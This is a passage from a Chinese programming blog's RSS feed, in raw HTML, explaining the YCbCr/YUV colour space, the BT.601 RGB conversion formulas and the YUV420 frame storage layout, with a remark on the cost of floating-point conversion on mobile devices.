face="Calibri"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>&nbsp;&nbsp;</span></font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">无论中间处理过程怎样，最终都是为了展示给人观看，这样的更改，也是从人眼睛的特性出发，和发明</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">三原色表示方法的出发点是一样的。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">于是我们使用</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y,Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">模型来表示颜色。</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Iain</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的书中写道：</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">The human visual system (HVS) is less sensitive to colour than to luminance (brightness).</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">人类视觉系统（其实就是人的眼睛）对亮度的感觉比对颜色更加敏感。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">色彩空间中，三个颜色的重要程度相同，所以需要使用相同的分辨率进行存储，最多使用</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB565</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这样的形式减少量化的精度，但是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">3</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个颜色需要按照相同的分辨率进行存储，数据量还是很大的。所以，利用人眼睛对亮度比对颜色更加敏感，将图像的亮度信息和颜色信息分离，并使用不同的分辨率进行存储，这样可以在对主观感觉影响很小的前提下，更加有效的存储图像数据。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>&nbsp;</span>YCbCr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">色彩空间和它的变形（有时被称为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">）是最常用的有效的表示彩色图像的方法。</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">是图像的亮度（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">luminance/luma</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">）分量，使用以下公式计算，为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">R,G,B</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">分量的加权平均值：</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span>&nbsp;</span>Y = kr R + kgG + kbB<o:p></o:p></font></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">其中</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">k</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">是权重因数。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span style="font-size: 12pt; line-height: 18px; "><span><font face="Calibri">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font></span></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">上面的公式计算出了亮度信息，还有颜色信息，使用色差（</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">color difference/chrominance</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">或</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">chroma</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">）来表示，其中每个色差分量为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">R,G,B</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值和亮度</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的差值：</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">　　</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb = B&nbsp;</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">－</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y<o:p></o:p></font></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">　　</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr = R&nbsp;</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">－</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y<o:p></o:p></font></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 23.25pt; "><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cg = G</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">－</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">&nbsp;Y<o:p></o:p></font></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 23.25pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">其中，</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb+Cr+Cg</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">是一个常数（其实是一个关于</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的表达式），所以，只需要其中两个数值结合</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值就能够计算出原来的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值。所以，我们仅保存亮度和蓝色、红色的色差值，这就是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">(Y,Cb,Cr)</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 23.25pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">相比</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">色彩空间，</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YCbCr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">色彩空间有一个显著的优点。</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的存储可以采用和原来画面一样的分辨率，但是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的存储可以使用更低的分辨率。这样可以占用更少的数据量，并且在图像质量上没有明显的下降。所以，将色彩信息以低于量度信息的分辨率来保存是一个简单有效的图像压缩方法。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 23.25pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">COLOUR SPACES .17 ITU-R recommendation BT.601&nbsp;</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">中，建议在计算</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">时，权重选择为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">kr=0.299,kg=0.587,kb=0.114</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">。于是常用的转换公式如下：</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font face="Calibri" size="3">Y = 0.299R +&nbsp;<st1:chmetcnv unitname="g" sourcevalue=".587" hasspace="False" negative="False" numbertype="1" tcsc="0" w:st="on">0.587G</st1:chmetcnv>&nbsp;+ 0.114B</font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font size="3"><font face="Calibri">Cb = 0.564(B&nbsp;</font><span lang="ZH" style="font-family: 宋体; ">－</span><font face="Calibri">&nbsp;Y )</font></font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font size="3"><font face="Calibri">Cr = 0.713(R&nbsp;</font><span lang="ZH" style="font-family: 宋体; ">－</span><font face="Calibri">&nbsp;Y )</font></font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><o:p><font face="Calibri" size="3">&nbsp;</font></o:p></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font face="Calibri" size="3">R = Y + 1.402Cr</font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font face="Calibri" size="3">G = Y - 0.344Cb - 0.714Cr</font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 22pt; "><font face="Calibri" size="3">B = Y + 1.772Cb</font></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">有了这个公式，我们就能够将一幅</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面转换成为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面了，反过来也可以。下面将画面数据究竟是以什么形式存储起来的。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB24</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">格式中，对于宽度为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w,</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">高度为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">h</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的画面，需要</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h*3</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节来存储其每个像素的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">rgb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">信息，画面的像素数据是连续排列的。按照</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">r(0,0),g(0,0),b(0,0);r(0,1),g(0,1),b(0,1);&#8230;;r(w-1,0),g(w-1,0),b(w-1,0);&#8230;;r(w-1,h-1),g(w-1,h-1),b(w-1,h-1)</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这样的顺序存放起来。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">格式中，以</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV420</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">格式为例。宽度为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">高度为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">h</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的画面，其亮度</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据需要</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节来表示（每个像素点一个亮度）。而</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据则是画面中</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个像素共享一个</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值。这样</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">用</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h/4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节，</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">用</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h/4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">文件中，把多个帧的画面连续存放。就是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV YUV YUV&#8230;..</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这样的不断连续的形式，而其中每个</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">，就是一幅画面。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在这单个</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">中，前</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据，接着的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h/4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据，再接着的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w*h/4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个字节为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在由这样降低了分辨率的数据还原出</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据的时候，就要依据像素的位置找到它对应的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y,Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值，其中</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值最好找到，像素位置为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">x,y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的话，</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据中第</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">y*width+x</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个数值就是它的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值。</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">由于是每</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">2x2</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">像素的画面块拥有一个，这样</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">数据相当于两个分辨率为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">w/2 * h/2</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的画面，那么原来画面中的位置为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">x,y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的像素，在这样的低分辨率画面中的位置是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">x/2,y/2</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">，属于它的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">值就在这个地方：</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">(y/2)*(width/2)+(x/2)</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">为了直观起见，再下面的图中，分别将</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">(Cb,Cr=0)</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">和</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">(Y=128)</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">显示出来，可见</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面的分辨率是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Y</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">1/4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">。但是合成一个画面之后，我们的眼睛丝毫感觉不到</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">4</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">个像素是共用一个</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><br /><br />&nbsp; Cb,Cr<span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">将</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">画面放大观察，里面颜色相同的块都是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">2x2</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">大小的。</span><span style="font-size: 12pt; line-height: 18px; "><o:p></o:p></span></p><p class="MsoNormal" style="margin-top: 0in; margin-right: 0in; margin-left: 0in; margin-bottom: 10pt; text-indent: 24pt; "><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">附件为</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Windows Mobile</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">上使用公式进行</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">YUV</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">到</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">RGB</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">转换的程序。其中需要注意的是</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">Cb,Cr</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">在计算过程中是会出现负数的，但是从</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">-128</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">到</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">127</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这些数值都用一个字节表示，读取的时候就映射</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">0</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">到</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">255</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">这个区间，成为了无符号的值，所以要减去</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">128</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">，才能参与公式计算。这样的运算有浮点运算，效率是比较低的，所以要提高效率的话，一般在实用程序中使用整数计算或者查表法来代替。还有，运算后的</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">r,g,b</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">可能会超过</span><span style="font-size: 12pt; line-height: 18px; "><font face="Calibri">0-255</font></span><span lang="ZH" style="font-size: 12pt; line-height: 18px; font-family: 宋体; ">的区间，作一个判断进行调整就可以了。</span></p><span style="color: red; ">&nbsp;&nbsp;&nbsp;&nbsp;不过这里面的YUV TO RGB的算法,效率实在是低,因为里面有了浮点运算,解一帧176*144的图像大概需要400ms左右,这是无法忍受的,如果消除浮点运算,只需要10ms左右,效率的提升真是无法想象.所以大家还是避免在手机上面进行浮点运算.<br /><br /></span></span></span></span></span>转自：<a href="http://www.cppblog.com/gtwdaizi/articles/32956.html">http://www.cppblog.com/gtwdaizi/articles/32956.html</a><img src ="http://www.cppblog.com/flyinghare/aggbug/150981.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2011-07-14 14:35 <a href="http://www.cppblog.com/flyinghare/archive/2011/07/14/150981.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>This Setup was created with a BETA VERSION of InstallShield</title><link>http://www.cppblog.com/flyinghare/archive/2011/02/12/139927.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Sat, 12 Feb 2011 02:25:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2011/02/12/139927.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/139927.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2011/02/12/139927.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/139927.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/139927.html</trackback:ping><description><![CDATA[<p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 宋体; COLOR: black; FONT-SIZE: 13.5pt; mso-bidi-font-size: 11.0pt; 